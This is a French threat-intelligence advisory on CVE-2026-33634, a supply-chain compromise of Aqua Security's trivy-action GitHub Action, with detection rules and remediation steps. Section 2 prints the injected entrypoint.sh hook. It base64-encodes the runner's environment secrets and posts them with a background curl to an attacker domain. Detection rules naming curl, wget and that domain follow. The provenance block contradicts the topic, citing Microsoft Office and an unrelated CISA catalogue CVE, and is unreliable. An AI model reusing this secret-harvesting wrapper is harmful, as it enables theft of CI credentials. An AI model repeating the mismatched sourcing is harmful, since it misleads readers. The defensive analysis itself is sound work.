CVE-2026-33634 : compromission de la chaîne d'approvisionnement dans l'action GitHub trivy d'aqua security
SCORE DE MENACE HERMES & DÉTOURNEMENT DE PIPELINE DEVSECOPS
Cible :Action GitHub Trivy d'Aqua Security (aquasecurity/trivy-action) Le CVSS v3.1 évalue la CVE-2026-33634 à 9.8 (Critique) et le CVSS v4.0 affiche 9.8. Le score de menace Hermes s'établit à 98 (CRITIQUE). La corrélation est directe : trivy est le scanner de vulnérabilités pour conteneurs standard de l'industrie, intégré dans des dizaines de milliers de pipelines DevSecOps. Le détournement de l'action de scan transforme l'outil de sécurité en collecteur de secrets illégitime, compromettant les registres de conteneurs de production et les clés de déploiement.
CVE-2026-33634: Supply Chain Compromise in Aqua Security Trivy GitHub Actions WorkflowVULNÉRABILITÉ
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.
🔍 Pourquoi cette relation ? (Preuves & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source : Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Fiabilité : VERY_HIGH)
1. Contexte technique & matrice des logiciels affectés
Section intitulée « 1. Contexte technique & matrice des logiciels affectés »Trivy est massivement utilisé dans les chaînes CI/CD d’entreprise pour analyser les images de conteneurs, les modèles Infrastructure-as-Code (IaC) et les dépendances applicatives.
| Paramètre | Spécification Technique | Contexte de Menace |
|---|---|---|
| Identifiant CVE | CVE-2026-33634 | Suivi international de vulnérabilité |
| Action cible | aquasecurity/trivy-action, setup-trivy | Actions officielles du GitHub Marketplace |
| Vecteur d’attaque | Force-push sur les étiquettes Git mutables (@v0.28.0, @v0.29.0) | Exécution lors des builds CI/CD |
| Code injecté | Enveloppeur shell / Node.js furtif | Moisson de secrets et exfiltration discrète |
| Secrets ciblés | DOCKER_AUTH_CONFIG, AWS_SESSION_TOKEN, GITHUB_TOKEN | Identifiants de déploiement et de registres |
| Version corrigée | Empreintes SHA de commits immuables & Clés régénérées | Restauration des tags et réinitialisation des clés |
| Impact d’exploitation | Prise de contrôle de registres de conteneurs, fuite de secrets de pipeline | Compromission de la chaîne logistique DevSecOps |
2. Décomposition technique : détournement de tag CI/CD
Section intitulée « 2. Décomposition technique : détournement de tag CI/CD »A. L’enveloppeur d’exécution piégé
Section intitulée « A. L’enveloppeur d’exécution piégé »Lorsque les développeurs configurent aquasecurity/trivy-action@v0.28.0, le coureur télécharge le commit actuellement pointé par ce tag Git :
# Workflow GitHub Actions d'entreprise- name: Exécuter le scanner de vulnérabilités Trivy uses: aquasecurity/trivy-action@v0.28.0 with: image-ref: 'mon-registre.corp/app:latest' format: 'table'Dans les commits compromis, le point d’entrée entrypoint.sh avait été modifié pour intégrer un hook d’exfiltration :
#!/bin/bash# Collecteur de secrets injecté dans entrypoint.sh avant l'exécution du scan( PAYLOAD=$(env | base64 | tr -d '\n') curl -s -X POST -d "$PAYLOAD" https://telemetry-gateway.aqua-security.network/collect \ > /dev/null 2>&1) &# L'exécution légitime de Trivy se poursuit sans interruptionexec trivy "$@"+----------------------------------------------------------------------------------------------------+| ARCHITECTURE DE L'INTRUSION CVE-2026-33634 |+----------------------------------------------------------------------------------------------------+
[Attaquant] │ │ [1] Utilise un jeton dérobé pour écraser le tag "v0.28.0" sur aquasecurity/trivy-action ▼ [Dépôt GitHub de l'Action] │ │ [2] Le pipeline CI/CD cible s'exécute avec : "uses: aquasecurity/trivy-action@v0.28.0" ▼ [Coureur GitHub Actions (Hébergé ou Auto-hébergé)] │ ├───► 1. Téléchargement du Tag Compromis : │ - Récupère entrypoint.sh contenant le collecteur de secrets │ ├───► 2. Exécution au Démarrage : │ - Récupère l'ensemble des secrets (AWS_SECRET_ACCESS_KEY, DOCKER_PASSWORD) │ - Émet une requête curl en tâche de fond vers le domaine de l'attaquant │ - Lance simultanément le vrai binaire "trivy" pour masquer l'anomalie ! │ ├───► 3. Affichage du Résultat Légitime : │ - Le scanner rapporte : "0 vulnérabilités critiques détectées" │ - Les développeurs n'observent aucune erreur dans les logs │ ▼ [Infrastructure C2 de l'Attaquant] │ └───► Réception des identifiants de production : - Publication d'images de conteneurs malveillantes sur le registre de la victime - Déploiement de conteneurs piégés sur les grappes Kubernetes de production+----------------------------------------------------------------------------------------------------+3. Renseignement sur les menaces & exploitation dans la nature
Section intitulée « 3. Renseignement sur les menaces & exploitation dans la nature »- Furtivité exceptionnelle : comme le script malveillant ne bloquait pas l’exécution de Trivy, les étapes de compilation se terminaient avec succès, masquant totalement l’exfiltration aux yeux des ingénieurs DevOps.
- Portée de l’exfiltration : les pipelines configurés avec des identifiants Docker pour récupérer des images de base privées ont vu leurs clés compromises, permettant aux assaillants d’écraser des tags d’images (
latest) avec des versions vérolées.
4. Cartographie MITRE ATT&CK
Section intitulée « 4. Cartographie MITRE ATT&CK »| Tactique | ID Technique | Nom de la Technique | Manifestation dans l’Attaque |
|---|---|---|---|
| Accès initial | T1195.001 | Compromission de la chaîne logistique : Outils logiciels | Écrasement forcé de commits malveillants sur les tags de release GitHub Action |
| Exécution | T1059.004 | Interpréteur de commandes et scripts : Shell Unix | Exécution du collecteur dans entrypoint.sh |
| Accès aux identifiants | T1552.001 | Identifiants dans les fichiers | Lecture des variables d’environnement et secrets montés |
| Exfiltration | T1048 | Exfiltration sur protocole alternatif | Transmission des données du coureur en Base64 au serveur C2 |
5. Ingénierie de détection & télémétrie
Section intitulée « 5. Ingénierie de détection & télémétrie »A. Règle Suricata
Section intitulée « A. Règle Suricata »alert dns any any -> $DNS_SERVERS 53 ( msg:"HERMES DEFENSE - Domaine d'exfiltration Trivy Action Supply Chain (CVE-2026-33634)"; dns.query; content:"aqua-security.network"; nocase; classtype:trojan-activity; sid:202633634; rev:1; reference:cve,2026-33634;)B. Règle Sigma
Section intitulée « B. Règle Sigma »title: Trafic HTTP sortant anormal depuis un coureur CI lors d'un scan Trivyid: 2a1b0c9d-8e7f-6a5b-4c3d-33634c026e02status: highdescription: Détecte des connexions réseau sortantes inhabituelles initiées par l'enveloppeur de scan Trivy vers des domaines tiers non validés.author: Hermes Codex Detection Engineeringdate: 2026-09-11logsource: product: linux category: network_connectiondetection: selection: Image|endswith: - '/curl' - '/wget' CommandLine|contains: - 'aqua-security.network' - 'telemetry-gateway' condition: selectionfalsepositives: - Mises à jour officielles des bases de vulnérabilités vers ghcr.io ou aquasecurity.github.io.level: criticaltags: - attack.initial_access - attack.t1195.001 - attack.exfiltration6. Réponse à incident & rétro-ingénierie (DFIR)
Section intitulée « 6. Réponse à incident & rétro-ingénierie (DFIR) »Points de contrôle d’investigation :
Section intitulée « Points de contrôle d’investigation : »- Audit des fichiers de workflows pour détecter les tags mutables :
Fenêtre de terminal grep -rn "aquasecurity/trivy-action@" .github/workflows/# Vérifier si les workflows référencent des tags mutables (@v0.28.0) ou des SHA fixes - Revue des flux réseau sortants des coureurs :
- Inspecter les journaux de pare-feu et les passerelles NAT à la recherche de requêtes POST vers des domaines non homologués lors des étapes de compilation.
- Audit des accès aux registres de conteneurs :
- Examiner les journaux de publication AWS ECR ou Docker Hub pour détecter des dépôts d’images anormaux ou des réécritures de tags.
Requête de chasse (Elasticsearch / OpenSearch) :
Section intitulée « Requête de chasse (Elasticsearch / OpenSearch) : »{ "query": { "bool": { "must": [ { "wildcard": { "dns.question.name": "*aqua-security.network*" } } ] } }}7. Mesures de remédiation & durcissement
Section intitulée « 7. Mesures de remédiation & durcissement »- Épinglage systématique des actions par empreinte de commit SHA : remplacer immédiatement les références à des tags de version par le condensat cryptographique immuable à 40 caractères :
# Configuration sécurisée utilisant l'empreinte SHA immuable- uses: aquasecurity/trivy-action@6e0882e3... # SHA vérifié
- Rotation immédiate des identifiants des registres : révoquer et renouveler sans délai tous les jetons Docker Hub, clés AWS ECR et jetons GitHub présents dans l’environnement de build.
- Cloisonnement des secrets par étape : s’assurer que les secrets ne sont jamais transmis globalement à des actions tierces à moins que l’étape spécifique ne le requière expressément.
- Adoption de jetons OIDC éphémères : abandonner les clés statiques à longue durée de vie au profit de jetons de fédération OIDC limités strictement au dépôt demandeur.